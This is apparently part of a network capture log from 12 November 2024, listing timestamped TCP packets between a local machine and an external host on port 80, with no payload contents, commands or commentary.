Nov 12, 2024 15:41:20.774436951 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774441004 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774449110 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774486065 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774497032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774513960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774525881 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774548054 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774558067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774568081 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774580002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774589062 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774601936 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774611950 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774636030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774662018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774672985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774682045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774693966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774702072 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774708986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774710894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774724007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774733067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774739027 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774746895 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774750948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774765968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774768114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774775982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774789095 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774805069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774832010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774842978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774856091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774867058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774874926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774895906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774900913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774912119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774921894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774930954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774935007 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774959087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774962902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774985075 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774995089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775000095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775039911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775069952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775079966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775089025 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775099993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775110006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775110006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775124073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775131941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775135040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775137901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775146961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775167942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775191069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775290966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775302887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775317907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775326967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775330067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775336027 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775345087 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775348902 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775367975 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775384903 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775409937 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775424957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775435925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775445938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775458097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775460005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775480986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775490999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775507927 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775511026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775523901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775526047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775535107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775546074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775547028 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775547028 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775558949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775568962 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775573969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775579929 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775579929 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775597095 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775600910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775614977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775619030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775624990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775648117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775651932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775664091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775672913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775672913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775686026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775696039 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775697947 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775711060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775722027 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775731087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775758028 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775789976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775800943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775810003 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775820017 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775820971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775831938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775840998 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775862932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775890112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775902033 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775912046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775923014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775938034 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775943995 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775943995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775957108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775965929 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.775971889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.775990963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776009083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776223898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776247025 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776256084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776257992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776278019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776289940 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776309967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776326895 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776339054 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776344061 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776350021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776359081 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776367903 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776387930 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776412964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776423931 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776433945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776443958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776444912 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776456118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776459932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776473045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776483059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776484013 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776504040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776525974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776566982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776577950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776587009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776598930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776609898 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776609898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776622057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776632071 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776632071 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776633978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776654005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776696920 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776695967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776715040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776726961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776736021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776736021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776750088 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776757956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776757956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776761055 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776773930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776779890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776783943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776796103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776803017 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776807070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776812077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776842117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776863098 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776873112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776881933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776891947 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776896954 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776902914 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776922941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776947021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.776979923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776989937 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.776999950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777012110 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777020931 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777023077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777034998 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777057886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777075052 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777086973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777101994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777111053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777120113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777121067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777126074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777132034 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777143955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777153969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777157068 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777179956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777198076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777231932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777241945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777250051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777261972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777270079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777273893 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777286053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777290106 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777297974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.777302980 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777324915 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.777344942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.791301966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.791320086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.791389942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.891921997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.891932964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.891942024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.891999960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892050982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892061949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892071009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892101049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892108917 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892117023 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892138004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892138958 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892153978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892160892 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892169952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892169952 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892196894 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892204046 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892268896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892280102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892292976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892302990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892308950 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892313004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892323971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892332077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892335892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892343998 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892370939 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892421961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892435074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892443895 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892453909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892456055 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892465115 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892478943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892481089 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892493010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892502069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892505884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892513990 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892534971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892539978 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892545938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892554998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892565012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892576933 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892580986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892586946 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892596960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892606020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892607927 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892627954 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892649889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892744064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892756939 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892767906 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892779112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892780066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892787933 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892791033 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892807007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892812967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892816067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892831087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892836094 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892848015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892855883 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892855883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892868996 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892893076 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892894030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892903090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892910957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892923117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892931938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892931938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892946959 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892967939 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.892987013 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.892996073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893006086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893014908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893023014 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893032074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893044949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893054962 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893064022 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893066883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893076897 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893085957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893086910 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893107891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893107891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893141031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893151999 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893162012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893178940 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893228054 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893238068 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893246889 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893250942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893255949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893256903 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893266916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893280029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893282890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893292904 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893307924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893317938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893320084 CET	49751	80	192.168.2.4	185.215.113.206
